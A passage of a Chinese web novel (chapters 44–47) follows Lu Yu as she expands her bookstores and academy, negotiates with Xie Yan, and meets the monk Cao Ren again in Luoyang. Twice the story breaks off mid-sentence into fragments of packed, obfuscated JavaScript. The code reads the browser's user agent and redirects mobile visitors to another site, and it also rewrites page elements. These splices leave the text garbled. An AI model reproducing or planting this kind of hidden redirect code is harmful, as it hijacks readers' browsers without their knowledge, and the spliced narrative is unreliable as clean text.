就这样,一传十十传百,大魏的读书人们开始感叹,这红尘中竟然有那么多高人隐居世外,那些原本歇了隐居心思的人又开始蠢蠢欲动起来,保不准自己隐居数年后,也能写出此等名言佳句流芳千古。 陆萸在写书签的时候实在不如哥哥姐姐们学富五车,各类经书佳句可以信手拈来,她只是前世的考试基因觉醒罢了,自然不会知道后续会有这么大的蝴蝶效应。 书店顺利开业,她终于可以喘口气了,于是邀约沈氏兄妹在玄武湖上悠闲的喝着茶。 金秋送爽,天高云淡、阳光明媚而温暖,玄武湖周边的绿叶慢慢染上了红、黄、棕等色彩。 陆萸惬意的抿了一口茶,道:“我也就能逍遥这两日,过几日还得赶回书院。” 今日陆纯去跑马没有同行,陆婠道:“我也和你一起去看看吧。” 陆弘在帮陆萸筹备完开店后快马加鞭去看过星火书院才急匆匆赶回了洛阳。 陆婠其实也很好奇,只是不想那么急赶着去,毕竟新学年九月初九才开学,如今去看空房间没意思。 会稽郡的太守是沈玉的大伯父,他去看过山阴书店,也看过星火课堂的授课情况,于是道:“我和妹妹也一起去吧。” 陆萸一听,立马想到了树立招生品牌的另一途径,就是聘请名誉讲师,他们可以想来就来想走就走,所授课程可以自己选择,只需一年授课一两次即可。 她详细和沈玉解释了名誉讲师的上课方式和授课内容后,满眼期待:“墨生有没有兴趣做星火书院的第一位名誉讲师,你将是第一个,以后还会有无数人。” 沈玉对给庶民上课其实一点都不敢兴趣,万一教室里乌烟瘴气臭气熏天,他根本坚持不下来,但是听说是第一位,又有些心动。 他问:“名誉讲师有什么报酬吗?学堂上课人数可以选择吗?”人太多他可不喜欢。 这个好说,只要他愿意去,陆萸就有办法给他筛选出学生人数,于是笑道:“一次课二十五人,一次课一百两,如何?” 沈玉点点头:“可以,一次课上多久由我定。” 陆萸和沈玉谈论书院的事,其他人插不上话,沈瑶便邀约陆婠去舱外赏景去了。 学校要的是名人效应,陆萸只需要提前给学员布置好提问方向,沈玉见多识广且性格随和,一旦有学生主动提问,肯定讲得停不下来,所以她现在立马答应了让沈玉自己定课时。 沈玉发现陆萸看自己的眼神有些奇怪,有点像农户正守在鸡窝旁看一只即将下蛋的母鸡。 他忍不住道:“你可不能言而无信,克扣我的课时费。” 陆萸听了,“噗嗤”一声笑道:“他若是知道你如此惦记报酬,定要后悔当初在我面前再三强调你视金钱如粪土了。” “他是谁?”沈玉好奇道。 船舱内突然安静下来,坐在窗边的陆萸顿了一下,才看着静谧如镜的湖面,悠悠回道:“一个很久以前认识的朋友,他曾极力向我推荐你。” 沈玉闻之,更加好奇了,问:“你可以介绍我认识那个朋友吗?” “他已是方外之人,我不便打扰”陆萸摇摇头叹道,当年为了她,他竟然让人去查了素未谋面的沈玉。 沈玉有些可惜,问:“你那次在寿宴为我解围,是因为他吗?” 只要谈论起曹壬,无论过去多久,陆萸心底总是莫名酸涩,她扭头看着沈玉,苦涩一笑:“他和我说:沈氏三郎,配的起阿萸。” 沈玉正在饮茶,刚听时没听懂是为何意,待理解话中意思,入口的茶“噗嗤”一声全喷了出来。 陆萸有些嫌弃的避开后,才道:“那是他说的,我可没那个打算。” 沈玉手忙脚乱地用手怕擦过衣襟上水渍,才尴尬回道:“我自然知道你没那个意图。” 点点头,陆萸道:“知道你的志向后,我更不会有别的想法。” 沈玉终于恢复了平静,他端起茶抿了一口,才问:“阿萸可知我为何不想成亲?” 45. 第四十五章 人间清醒 沈玉问:“阿萸可知我为何不想成亲?” 陆萸摇头笑回:“我又不是你肚里的蛔虫,如何得知。” “是因为我的阿姊”说这话时,第一次在沈玉脸上出现如此悲伤的表情。 陆萸闻言,心里“咯噔”一声,这是什么理由,莫不成她今天要听到什么了不得的世家秘辛? 一时间,她来了兴致,忙端正坐姿等着沈玉继续说。 见状,沈玉气笑道:“收起你那表情,不是你想的那样。” 陆萸翻了个白眼:“我又没说什么。” 沈玉这才开始和陆萸细细解释起来。 沈玉的亲姐姐比他年长两岁,因他们的父母恩爱,家里没有庶出子女,姐姐、妹妹和他三人感情一直很好。 在幸福的家庭长大,姐姐的性格给开朗活泼,每天都能开心的笑,可嫁入朱氏,他的姐姐再也没有笑过。 她嫁的是广州牧的嫡长子,身上的重担也比一般人要重,朱郎君去长沙郡任太守以后,她也一同去了长沙郡。 原以为夫妻二人独自在外过日子会轻松一些,但是并没有,她嫁给朱郎君三年只得了一女,然后朱郎君开始纳妾。 再后来,她连续怀孕两次皆中途流产,以致于伤了身子,医官断言可能不会再有孕了。 自此,她郁郁寡欢,脸上再也没有真实的笑。 说到这里,沈玉突然道:“都说婚姻是结两姓之好,可又给女子带来了什么?” 闻言,陆萸忍不住想竖起大拇指,不错,他竟然有如此前卫的思考。 不待陆萸回答,沈玉道:“倘若婚姻不能给她带来快乐,又何苦强留那段姻缘。” 陆萸问:“你想让你姐姐和离归家?” 以沈玉父母对子女的宠爱,想必他姐姐和离归家也不会受到什么阻挠。 沈玉轻叹一声:“我劝过阿姊,可她不愿,她舍不得孩子,也舍不得姐夫。” 好吧,那就不能劝说人家和离了,问题又回到了原点。 想起上次他姐姐绕路去江夏华彩阁,估计是觉得回去长沙郡太苦闷,想到处走走? 陆萸道:“既是她自己愿意,你也无可奈何。” 点点头,沈玉道:“看过阿姊的婚姻,我便想,如我这样整日在外游历,若真娶哪家的女君入府,岂不是害了她。” 如此标新立异的想法,陆萸止不住叹道:“墨生当真心善。” 沈玉听了却是苦涩的摇摇头,道:“实话罢了,一个女孩在最美好的年龄去到一个陌生的环境,可夫君常年在外,那让她如何适应,终归太狠心了。” 陆萸忙点头称是,然后道:“你可以带着她一起游历。” 沈玉接着道:“先不说是否能找到愿意一起游历之人,单说女子怀孕生产,你的提议便无法实现。” 这话题陆萸接不上来,毕竟她也没怀孕过。 “我也不忍那样的女子跟着我颠沛流离,因此就歇了娶亲的打算,如今这样其实挺好的。” 沈玉一番话说完,他在陆萸心中的形象瞬间高大起来。 在这个封建等级森严的古代,男尊女卑的观念极其固化,他竟然还能替女性考虑这么多,真是受得起曹壬的夸赞,乃真君子也。 轻叹一声,陆萸道:“那便不成亲吧,我也有这个打算,我这般性子,想来没有哪个婆母会喜欢。” 陆萸一副老气横秋的样子,沈玉笑道:“我是男子比你容易坚守。” 陆萸赞同地点点头,叹道:“所以我要多挣钱傍身。” 她说这话的时候,眼眸明亮如星辰,里面满满的斗志感染了沈玉,他笑着点头:“嗯,一起挣钱,挣很多钱。” 这次游湖,让沈玉和陆萸的关系又更近了一些,他们现在有了共同的奋斗目标。 接近傍晚时分,一行人至玄武湖游湖归来,在陆氏门口下车的时候,沈玉先下车等着陆萸。 陆萸提起裙子开心的跳下牛车时,看到朱慎和陆纯站在门口,于是上前行礼问好。 朱慎笑看着陆萸道:“我方才还问季真为何不见你跑马,原来是陪沈三公子游湖去了。” 他这话,怎么听都有些阴阳怪气的,但陆萸也没想和他解释什么,只笑道:“你们尽兴即可,我去不去都一样。” 陆纯第一次见好友如此反常之举,忙道:“再过几日,我再带你去跑马。” 陆萸点点头,道:“今日游湖也累了,我和阿姊先进去了,你们随意。” 朱慎其实刚刚话才出口就后悔了,特别是看到沈玉一副似笑非笑的表情,心里无名火更甚。 他抱拳和在场的人行礼后,打马转身离去。 沈瑶低声在陆婠耳畔问:“萸妹妹和朱郎君很熟吗?” 这话被陆萸听到,她立马打断:“不熟,一点都不熟。” 说完,她扭头愤愤地对陆纯道:“以后不要在他面前提起任何关于我的话题,也不要在我面前提起他。” 陆萸如今打算不嫁人,也有底气和家里人争取机会,所以不想再和这样的朱慎有任何瓜葛。 他以为他是谁?当初她费尽心思接近他,他对她不冷不热,客套疏离还爱理不理的样子,如今又想起来扰她心绪,他做梦。 这人真是如谢洐说的那样,心思太重,一点都不磊落,还是远离的好。 陆纯见妹妹生气,忙赔笑道:“都听阿萸的,你莫气了。” 沈氏兄妹有些尴尬的和陆氏兄妹作别后,才坐上牛车回自己府上。 在车里,沈瑶问:“阿兄觉得萸妹妹如何?” “聪慧大方,果决大胆”沈玉笑回。 阿兄对陆萸的评价竟然如此之高,沈瑶兴奋道:“那你可想求娶她?” 沈玉听了,轻笑一声,刮了一下妹妹的额头道:“瞎想什么,我只想自由自在过一生,别想让女郎拴住我。” 沈瑶有些惋惜,道:“难道就没人能让你停下脚步吗?” 其实天天在外游历也会累的吧?沈瑶多希望阿兄能遇到那样一名女子,让他愿意为她歇下脚步。 沈玉闻言,摇头轻叹:“没遇到那样的人,我也不想停下。” 聪明如阿萸,怎么会为了一个男子将就,而他也不愿意妥协,他和她注定只能一起挣钱,其他的,只能说没有缘分。 朱慎心中带气,一路奔驰至朱宅,待看到门口迎宾的石狮子,情绪才稍微平复下来。 他不知自己怎么了,从那次在江夏见过不一样的陆萸后,心绪总是被她干扰。 她当初一脸笑意的陪自己在马场品茶闲聊,如今又以同样的神态陪沈玉游湖,真不知世上怎会有这样到处留情的女子。 这么一想,已经回到内室更衣的他,那平复的心情又莫名带了怨愤。 他拿出当初陆萸送他的茶叶罐子,看得出她那时待他是用心的,如今这样只能说是她三心二意。 越想越气,他喊了一声“安吉”,然后将茶叶罐子递给安吉道:“把这个收起,日后再也不用给我煮陆氏的茶叶。” 朱慎自在建业崭露头角起,身边多的是献殷勤的女子,所以他从不觉得需要对一个女子花多大的心思。 他如今只觉得陆萸不识好歹,以后就无需在意此人。 安吉接过茶叶罐子,有些不知所措,但看到朱慎阴沉着脸,大气不敢出,赶紧抱着罐子退下了。 又过了几日,陆氏兄妹和沈氏兄妹一同出发去山阴。 陆萸把星火书院的新学年开课时间定在九月初九,是因重阳日容易让学员记住,又有长久之意。 九月初九清晨,当陆家兄妹和祖父的马车行至山脚时,往前的山路却已经牛车塞途。 陆萸也没想到如今书院的名气如此之大,叹道:“还得再花些银钱好好修路才是。” 陆纯也比较认同,就现下这路,没下雨都能堵车,若是雨天路滑估计更难行进。 好在书院有个姓赵的管理员终于站出来在大门口指挥交通,不多时,道路就恢复了畅通。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971508|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆萸对这个叫赵衡的门生多了一份认识,勇于出来承担责任,还能情绪稳定、思路清晰地指挥别人,是值得好好栽培的。 这次新学年开学,陆萸又从陆氏门生中挑选了五人作为授课老师。 与当初星火课堂招募老师时不一样,才听陆萸提起,那些门生纷纷报名。 毕竟如今的书院院长是陆侯,副院长是旬博士,能在他们手下做事是多么难得的机会。 陆萸本来还想着如何挑选出一个教务主任,如今看这赵衡就正合适。 今日书院有如此多的学员前来,是因为旬博士的开学第一课,等他授课结束离开星火书院,学员便少了一大半。 这让陆萸也松了一口气,她给学员安排的住宿楼是八人间,每间四张木质高低床,入门左右两侧各有一个大柜共八个小柜子是用来做衣柜的。 原本想每间都做两个书桌,但考虑到现在的照明工具是油灯,有很大的火灾隐患,她就放弃了。 虽然宿舍楼有两层,但是目前有床的只有八间,人多了她担心住不下。 第二日,陆萸通过考试的方法,筛选了二十五名学生在公共教室,正式听沈玉开讲。 有了沈玉开先河,陆纯也挑选了十几名学员教授骑射基本原理,以及既能强身健体又能防身的手脚功夫。 星火书院正在一步步往好的方向发展,陆歆站在清晨的薄雾中,看着井然有序的书院,听着朗朗的读书声,为自己的决定感到庆幸。 书院发展好,书店的书就不够卖,今年的太平纸还没到年底就已全部印刷完了。 今年印刷量比去年猛增,陆萸给所有参与印刷出版的人都涨了薪资,陈青作为校对总监月薪从五十两直接涨到一百两。 太平纸没了,陈青眼看临过年还有几月,主动申请到星火书院授课。 就这样,他既上文化课,又上竖笛课,大大丰富了书院的校园生活。 现在大家散学后,都有机会听陈老师的竖笛声,那空灵之音如天上曲久久缭绕在兰渚山的上空。 山阴城里有几家富户听过陈青的竖笛后,主动到山上想聘请他去上私课,他都拒绝了。 后来,那两家富户为了让子女方便上山学竖笛,竟然主动要求给书院修路。 陆萸一听有这等好事,立马眉开眼笑的和陈青商量后,带着路面施工设计图找那两家富户修路去了。 他们除了修路,为了遵守书院的入学规则,还得去书店买书。 有钱人不差那点钱,一听陆萸提要求,立马就去把整个书店的书都买了个遍。 路修好了,他们的子女每天往返山阴县城也方便了,那些买回去的书慢慢翻看以后,才发现很有趣也很经典,于是皆大欢喜。 而有他们为先例,开始有人打听是否还有其他大师授课,修路没机会,可以修宿舍楼呀。 陆萸听到有人在星火书店咨询何时能再有特色教师入驻星火书院,忙让陆歆想办法找人去了。 陆歆闻言,笑道:“你当我面子多大,什么能人都能找来。” 陆萸自是相信祖父深藏不露的人际网,忙一脸崇拜的看着他:“若祖父请不来,估计也没人请得来。” 陆歆有些无奈的答应了陆萸的请求,只是还得费些时间。 很快,安和十一年转瞬即逝。 按惯例,安和十二年七月末,洛阳太学就要毕业一批学子,这批学子在通过太学博士的考核后由尚书台定品即可入仕。 可当今圣上突然改了惯例,理由是和他俩一同入学的藩王公子们学未所成,还得继续深造。 陛下一直未定下新太子,连几位公子都要深造,这批学员都是不差钱的世家子弟,自然很乐意再读两年。 能多点时间和几位公子培养同窗之谊,于他们真是求之不得。 上一届延期毕业,但让各州郡点评出新学员入太学的惯例没有取消。 于是,时隔两年,扬州大中正再次在玄武湖揽华亭举行了定品辩论会。 46. 第四十六章 洛阳相逢 安和十一年扬州大中正在玄武湖的评品结果陆萸不关心,倒是因为大量学子涌入建业,让书店借此机会赚了一笔。 星火书店的书定价亲民,但主打薄利多销,这一年,建业星火书店终于扭亏为盈。 今年六月初,沈玉的《墨生游记四》在江夏星火书店举行新书签售会,陆萸直接把签售地址选在江夏华彩阁贵宾接待区。 五百册新书才半天就已全部售罄,除了书好卖茶点也好卖,有人临走前还定制了“丰年”系列礼盒。 七月中旬,广州星火书店开业,广州治所在南海郡番禺县,州牧是朱慎的父亲。 开店前,陆歆亲自前往番禺向广州牧征得同意才正式开业,广州星火书店由三叔陆显全权负责管理。 书店开业后,至年底,已能基本持平。 只有星火书院一直是个烧钱的地方,但教育本身不能操之过急,所以陆萸虽然一直砸钱进去,却从未想过放弃。 这一年,星火书院的固定学生已突破两百人,住宿楼已全部住满。 九月初,陆歆三顾茅庐,终于请来了汝南袁氏的围棋大师袁华任名誉讲师。 袁氏是个古老又有名望的家族,东汉时期被称“四世三公”,只是东汉末年那场乱世让袁氏一族险些灭族。 大魏建朝以后,袁氏一族非常低调,族中子弟无人在朝中任要职,但因不附权贵,家风清正得世人好评。 袁华作为名誉讲师,只需每年北方天冷的时候在星火书院住一段时间避寒,可哪怕只是短暂的时间,也有很多学子慕名而来。 就这样,靠这些学子背后的家长,星火书院又建起了一栋新宿舍楼。 这些学子有世家子弟,也有豪强富户,自是不会住书院宿舍,一时间山阴县城的房价猛涨,兰渚山附近的地更是涨到停不下来。 任何时代,学区地块都是香饽饽,陆萸还有些后悔当初没多买一点地。 学员多了,老师的生活区也要扩建,陆萸一整年都在忙各种建造工程。 至年底,当初冷清偏僻的兰渚山已经俨然如一个小镇。 忙碌又充实的日子总是过的很快,书院的事有赵衡负责管理,再由祖父监管,陆萸需要操心的也少了。 陈蕊长期跟在陆萸后面学习,如今也能分担部分江夏书店管理的工作。 陆婠看妹妹这么忙,也替陆萸分担了建业书店的管理工作。 陆萸便一门心思抓图书印刷初稿筛选,以及茶点新品的研发。 转眼,忙忙碌碌间,迎来了安和十二年。 初春,华亭造纸用的毛竹已经全部砍下泡入池中,随着毛竹种植面积不断扩大,太平纸的产量也不断增加。 陆萸想把太平纸投入市场,陆歆却提了一个建议,在洛阳开星火书店。 陆萸当初也想过在北方开店,只是陆氏的根基在江东,对北方始终有点畏手畏脚。 陆歆鼓励陆萸大胆尝试,亏了也有陆氏兜底,再说还可以拉谢洐入伙。 被他一提醒,陆萸立马就去找谢洐商量合伙的事。 谢洐才听陆萸说完来意,立马拒绝:“你那十钱一本的书,卖一个月都不如我卖半个月水粉的收益。” 他说的确实没错,无奈之下,陆萸又改变策略,提出只需谢洐偶尔出面推广店铺,让店铺挂上谢氏徽记即可。 他无需投资一分钱,也无需操心管理销售环节,一年可以分一成利润。 谢洐还是有些犹豫,毕竟洛阳不同江东,那地方随便掉个东西都有可能砸到一个贵人。 星火书店开业后,他哪怕不投资,有谢氏徽记在,一旦出事都会记他头上。 他是个非常怕麻烦的人,不然也不会一直在江东躲清闲,北方世家真是规矩太多,平日应酬走动都累。 陆萸在来之前打算自己先试一下,若说不通她就给妘堂姐写信,让九堂叔出面商量。 见谢洐一直犹豫,她直接了当道:“我开书店,本就不是奔着盈利去。” “做生意不为盈利为什么?”谢洐奇道。 陆萸轻笑:“若我说是为太平你信吗?” 谢洐乍一听如此大空的理由,轻“嗤”一声,道:“一个女孩心存如此高远的志向无意义。” 闻言,陆萸有些失望,她以为他能不顾世俗经商,看事物或许比别人更有远见。 但或许因为从小接受世家文化在他心中根深蒂固,他无法共情平民的愿望。 顿了一下,陆萸问:“如今的陈郡谢氏如何?是否如外人看到的那样光鲜亮丽。” 这样的问题,若别人问,谢洐肯定毫不犹豫的回答:“谢氏百年世家,何人质疑?” 可看到陆萸仿若洞悉一切的目光,他一时有些答不出来。 陆萸接着道:“再大的世家也有消亡的一天,哪怕是当初被称四世三公的袁氏,如今也只是苟延残喘而已,您又如何能保证谢氏在您百年后还能继续保有现在的荣光。” 陆萸的话像一记耳光扇过来,让谢洐的脸有一种火辣辣的感觉,眼前的女孩早已看透如今的谢氏全靠自己撑着。 他因为难堪,紧紧咬着牙关不发一言,眼中甚至隐隐带着怒意。 陆萸却不给他喘息的机会,笑道:“谢氏引以为傲的百年藏书,如今有几个子弟能学以致用,没人学,再好的书都是废品而已。” “难道陆氏子弟就能将所有藏书学以致用?”谢洐气急而笑,反问道。 “所以我把藏书制成新书在星火书店售卖了”陆萸笑道。 闻言,谢洐一惊,问:“陆司空竟然同意了?” “祖父高瞻远瞩,自是同意的”陆萸自豪的答。 谢洐一直以为陆氏的书店卖的都是些普通书籍,大魏这些书店没有哪家是真靠卖书挣钱的,只有笔墨纸砚才能赚利润。 如今听闻陆氏下得了决心将百年藏书大方公开出售,他开始有些动摇了。 陆萸见状,忙趁热打铁:“若书店亏了,你没有损失,若盈利了,你有分成,且倘若星火书院的学子每人手持一本谢氏书店的书,百年后,谢氏的名号也不会消亡。” “这事容我再想想”谢洐回道。 陆萸起身敛衽行礼道:“星火书店我一定会开在洛阳,不止洛阳,凉州,长安,雍州我都要开,所以我给九叔三天的时间考虑,若你不愿意,我自会去找其他世家。” 谢洐闻言,有些生气:“谈个合作,怎的还威胁我?” 其实陆萸就是随口胡编,北方这些世家哪里那么容易搭上线,但她依然气定神闲的回:“怎能算威胁,我是表决心而已。” 见陆萸一脸笃定书店能开的架势,谢洐想起好友陆恭娶的是琅琊诸葛氏的嫡女,莫不是诸葛氏也想参与? 才纠结一瞬,谢洐咬牙道:“就按你说的,我一个徽记分你一成。” 陆萸心口终于一松,嫣然一笑:“成交,保您入股不亏。” 谢洐有种上当的错觉,但出口之言不好随意更改,只得再三叮嘱不要卖违禁书籍。 陆萸自是满口答应,她卖书可是为了播撒火种,违禁书卖了何益。 就这样,和谢洐谈妥后,陆萸立马给陆歆去了信,让三叔陆显尽快去洛阳选铺面。 她则去华亭盯着制纸,顺便新出了一本新体诗初稿给陆歆审核。 当初那些书签的社会反响强烈,如今她靠强大的记忆,把书签上的经典名句完善成一本诗集,共六十八首诗。 除了新体诗集,陆萸还打算把封神榜的故事选出来分几本印刷出版。 封神榜是明代小说,共一百多回,陆萸是记不住那么多的,所以她打算将故事分块。 她要选出该作品中哪吒闹东海、姜太公遇文王、妲己设计害比干、武王伐纣、太公封神这几个故事分五本印刷。 这个时代没有什么娱乐项目,整日附庸风雅纸醉金迷的世家们,特别期待有新鲜事物调剂早已乏味的生活,《取经记》能大卖正是验证了这一点。 当陆萸把封神榜五个故事初稿给陆歆看过后,陆歆却能迅速看到封神榜的本质。 他说:“封神就是在为天庭招募人才,而这些人能被封神,享长生不老而不用受轮回之苦的前提是被规章制度约束,权利和责任是并存的。” 陆萸闻之,佩服得说不出话来,祖父看问题实在太犀利了,当年她看封神榜完全是为了娱乐消遣,哪里会想如此深远的东西。 “这些故事都不错,你把故事背景再完善一下,就可以印刷了”陆歆道。 陆萸之前是想印刷了给大家娱乐的,如今听他分析,有些犹豫,于是问:“不会有人过度解读吧?” 陆歆听了,笑道:“有何可惧,陆氏可不是纸老虎。” 有祖父这话,陆萸大胆的让人制雕刻板去了。 至五月中旬,陆显来信:洛阳星火书店已装修好,陆萸便着手准备北上洛阳了。 洛阳,这座城市很多年以前陆萸是不在意的,但自曹壬去洛阳以后,她总忍不住关心洛阳的消息。 从星火书院开学起,陆歆便分派了一名拳脚功夫比较厉害的侍女给陆萸。 侍女名三伏,由陆氏从小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985887|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严格训练,是难得的多能型人才。 这次去洛阳,陆萸让木槿和银杏留在建业学记账,学管理。 如今陆萸的事业越做越大,她不想二人只做伺候人的普通婢女,她希望有朝一日他们也有独当一面的能力。 一切工作交代好后,陆萸带着陈蕊和三伏随陆氏部曲踏上了去江夏的船。 至江夏,考察过华彩阁和星火书店后,又在州牧府陪大伯母姚氏逛了两天街,才再次踏上前往洛阳的牛车。 陆萸一行人至洛阳时,已是六月下旬。 此时,华亭庄园的工匠们加班加点印刷的新书已经装上前往江夏的船。 洛阳书店的书分两部分,一部分是从江夏书店调过去的库存,随陆萸一行人第一批到达洛阳,而另一部分是今年新出的书。 陆萸至洛阳时已是黄昏,洛阳城铜驼街两旁各华宅的门口有仆从在陆续点灯,而那些高高的院墙内偶有丝竹管弦之声飘出来。 铜驼街的宽敞大气让这座都城比任何地方都多了一份威严,而整齐布局的房屋,有序规划的街道以及不时路过的巡街哨兵,无一不在提醒陆萸,这里是天子脚下。 难怪看似对什么都不在意的谢洐,提到在洛阳开店时也会犹豫。 陆萸的牛车才行入永康里大道,远远的,便见到诸葛氏带着陆妘和陆弘等在定北侯门口。 陆萸下车后,忙向诸葛氏行礼问安。 陆妘笑着挽起她的手道:“终于把妹妹等来了,我都无聊死了。” 陆弘已一年多没见陆萸了,他笑看着她道:“阿萸又长高了。” 虚岁十四的陆萸虽然脸还是很圆,但褪去少许婴儿肥后,已经有少女模样了。 今日着一套黄色交领纱裙的她俏生生站在昏黄的灯光下,像极了春日盛放枝头的迎春花。 陆妘附和道:“不但长高了,还变漂亮了。” 陆萸笑着和他们一同入了定北侯府。 过了一会,陆萸梳洗换过衣服后,陆恭和陆显也从外面回来了,诸葛氏忙通知厨房开席。 第二批书还没到,陆显心疼陆萸长途太累,第二日清晨,他主动带着第一批书去星火书店上架了。 陆萸从定北侯府的床上醒来时,清晨的太阳透过窗棂丝丝缕缕照在屋内的梳妆台上。 看着那些跃动的光圈,她有一瞬间的恍惚,她想,她终于离他又更近一点了。 她才梳洗完毕,陆妘就热情的带着她出门逛街吃美食,洛阳城分内城和外城,二人逛了四天才大致逛完。 又过了几天,第二批书终于送到达洛阳的星火书店。 阳光明媚的清晨,陆萸换上方便行事的男装后,带着陈蕊和三伏坐上了定北侯府的马车。 在洛阳都城,马车是身份的象征,如果牛车遇到马车要主动停下靠边让路。 陆萸的马车挂着銮铃和定北侯专属徽记,一路无人敢随意阻拦。 随着一轮红日渐渐升起,洛阳城陆续热闹起来,车外人声、车马声不时传入陆萸的耳朵。 星火书店选在洛阳西外郭城大市中,从内城永康里出发,不是很远。 她已经逛了几天洛阳城,现在不再好奇街景,于是专心看起赵衡从星火书院写来的信。 信才看了一半,马车突然停了下来,三伏去查看后,在车窗旁向陆萸请示:“有几名女郎在为难一个僧人,公子可要出手相助。” 其实真实情况是一群穿红戴绿、抹脂擦粉的女郎正在调戏一名僧人,僧人被围在路中间进退两难,导致马车难以前行。 陆萸听闻僧人被为难,瞬间正义感爆棚,没有多想便对三伏道:“你让他到车里来吧。” 三伏得令后,行至那群女郎中间,大声道:“定北侯有请法师,请各位姐姐行个方便。” 女郎们抬头看到定北侯的马车就在一旁,虽有些可惜没能摸一把僧人的手,却只得悻悻地让开了一条道。 三伏走至僧人面前,行礼:“侯爷有请,请法师入车内。” 曹壬抬首确认是定北侯府马车无疑,便没有犹豫跟在三伏身后上了马车。 车门被打开又被迅速合上,曹壬还未适应车内的光线,他忙低头双手合十道:“多谢侯爷替贫僧解围。” 一道清冽温和而又熟悉的嗓音传入耳中,正在读信的陆萸猛的抬眸看向坐在车门口的少年僧人。 在这之前,她无数次设想过二人再见时的情景,甚至在心中演练过想对他说的第一句话。 可真到这一刻,她只是笑看着他,道:“君期和我想象的一模一样。” 47. 第四十七章 星月 少年僧人着一袭棕色袈裟,低垂的眉目慈和安详,如寺庙中的佛像,很近,却又很远。 因是盛夏,马车的帘子已换成透气极好的纱帘,晨曦金色的光透过纱帘照在车内,晃动的光圈悉数落在曹壬那张纯净如莲的脸庞上。 这一瞬,陆萸想起法门寺,想起元公主恢复视力后在众多诵经的僧人中一眼就认出觉能的那一刻,她的心情是否也如现在的自己一样,既欢喜又酸涩? 曹壬正微低头行礼,突然听到陆萸的声音,他猛然间抬起头,直愣愣的看了过去,眼中有震惊、疑惑不定,最后只剩欢喜,藏不住的笑意瞬间飞上眉梢。 他有多久没有听到这个声音,又有多久没看到这张脸了呢?曾几何时,他以为此生再无机会看到这样闪亮的双眸,如星似月。 哪怕她着一身男装,他还是一眼就认出了她。 当年的小青团,终于长成了自己想象中的模样。 他收回合十的手,注视着她绽开久违的笑:“阿萸,好久不见。” 仅仅这样一句简单的问候,却让陆萸一直忍在眼眶中打转的泪水最终落了下来。 她迅速低头掩饰好情绪后,顿了一下,才抬头看着他腕间的太阳子佛珠,笑问:“这手串,你喜欢吗?” 那手串已经如葛医仙所说的一样,颜色变得异常鲜艳,像极了红豆,王维诗中的红豆。 曹壬微微抬起戴着手串的左手给陆萸看过后,笑道:“自收到之日起,从未离身,吾喜之。” 言毕,他看向陆萸的手腕,她的手腕却是空空如也。 两人哪怕几年未见,可只是一个眼神,陆萸便知他想问什么,她回道:“你送我的手串被我弄坏了,没法戴手上了。” 曹壬闻之,回道:“的确有些年月了,坏了就坏了吧。” “你”“你”静默片刻后,二人不约而同的开口。 曹壬莞尔一笑,道:“你先说。” “你是要进内城吗?怎么只有你一人?” 曹壬解释道:“师傅和我原本要去郑氏府宅为郑老夫人诵经,只是昨夜师傅染了风寒,今晨便只有我一人前行,你呢?何时至洛阳的?” “我四日前至洛阳,此番是为筹备星火书店开业而来” 想到刚刚听三伏说有女郎为难他,陆萸接着道:“我不赶时间,先把你送去郑宅吧。” 方才那些女郎围着曹壬,说着轻挑的话语,甚至有女郎想伸手摸他的手时,他既没有脸红也无任何情绪,而是口中念着经文,不动声色的避开了她们伸过来的手。 可如今听了陆萸的话,看她那样的笑,他的脸突然就红了,红色带着温度快速蔓延到了耳根。 一时之间,他不知该如何面对她,无措地闭上眼快速转动起手腕上的佛珠。 陆萸见状,心想,这么容易脸红,也不知他之前如何在众人面前讲经。 这么好看的僧人,想来有很多女郎为之倾倒吧! 阿弥陀佛,心底和佛祖说声抱歉,她轻咳一声掩饰后,才恋恋不舍地将目光转向车窗的纱帘。 车内突然再次安静下来,车外的銮铃声显得愈发清脆,陆萸想起当年乘坐南安王府的马车与他一同出游的时光。 那时候他坐在书案前,而自己坐在窗旁,如今二人的位置刚好换了过来。 入了佛门的他,已经鄙弃所有身份,哪怕白马寺离内城十多里,他也是徒步而来。 这便是他想要的修行吧? 思及此,再次见他的喜悦瞬间淡了下来,陆萸问:“日后我当如何称呼你?慧悟还是君期?” 曹壬低头转动佛珠的手停了下来,再次抬眸看着陆萸:“阿萸想唤我什么都行。” “那还是唤君期吧,若你师父在场就唤你慧悟。” 曹壬笑回:“阿萸开心就好。” 仅仅一句话,陆萸再次觉得鼻子发酸,一切好似还和从前一样,可一切又都不一样了。 郑氏府宅在义井里,从西阳门进内城后没有多久就到了。 车门外传来三伏请示的声音,陆萸对曹壬道:“我会在洛阳呆一段时间,你若对书店感兴趣可以到那里看看。” “多久?”曹壬忙问,见陆萸疑惑,他接着问:“你会在洛阳呆多久?” “大概两个月左右吧”陆萸答。 原来只有两个月,曹壬心底有些惋惜,可一瞬他又庆幸至少还有两个月。 他笑道:“届时定去书店叨扰你。” “我定虚左以待!”陆萸笑回。 曹壬双手合十向陆萸行了个礼,然后下马车向郑府走去。 直至那袭棕色袈裟消失在那道门里,陆萸才让马车再次启程,只是她却再也看不进赵衡的信件了。 如此短暂的相逢,若非车内还残留若有似无的檀香味,她简直要怀疑刚刚那一切不过是自己在车内睡着而做的一场梦。 马车最终行至书店门口,陆萸轻叹一声后,将所有思绪埋藏,以饱满的精神状态迎接即将到来的忙碌。 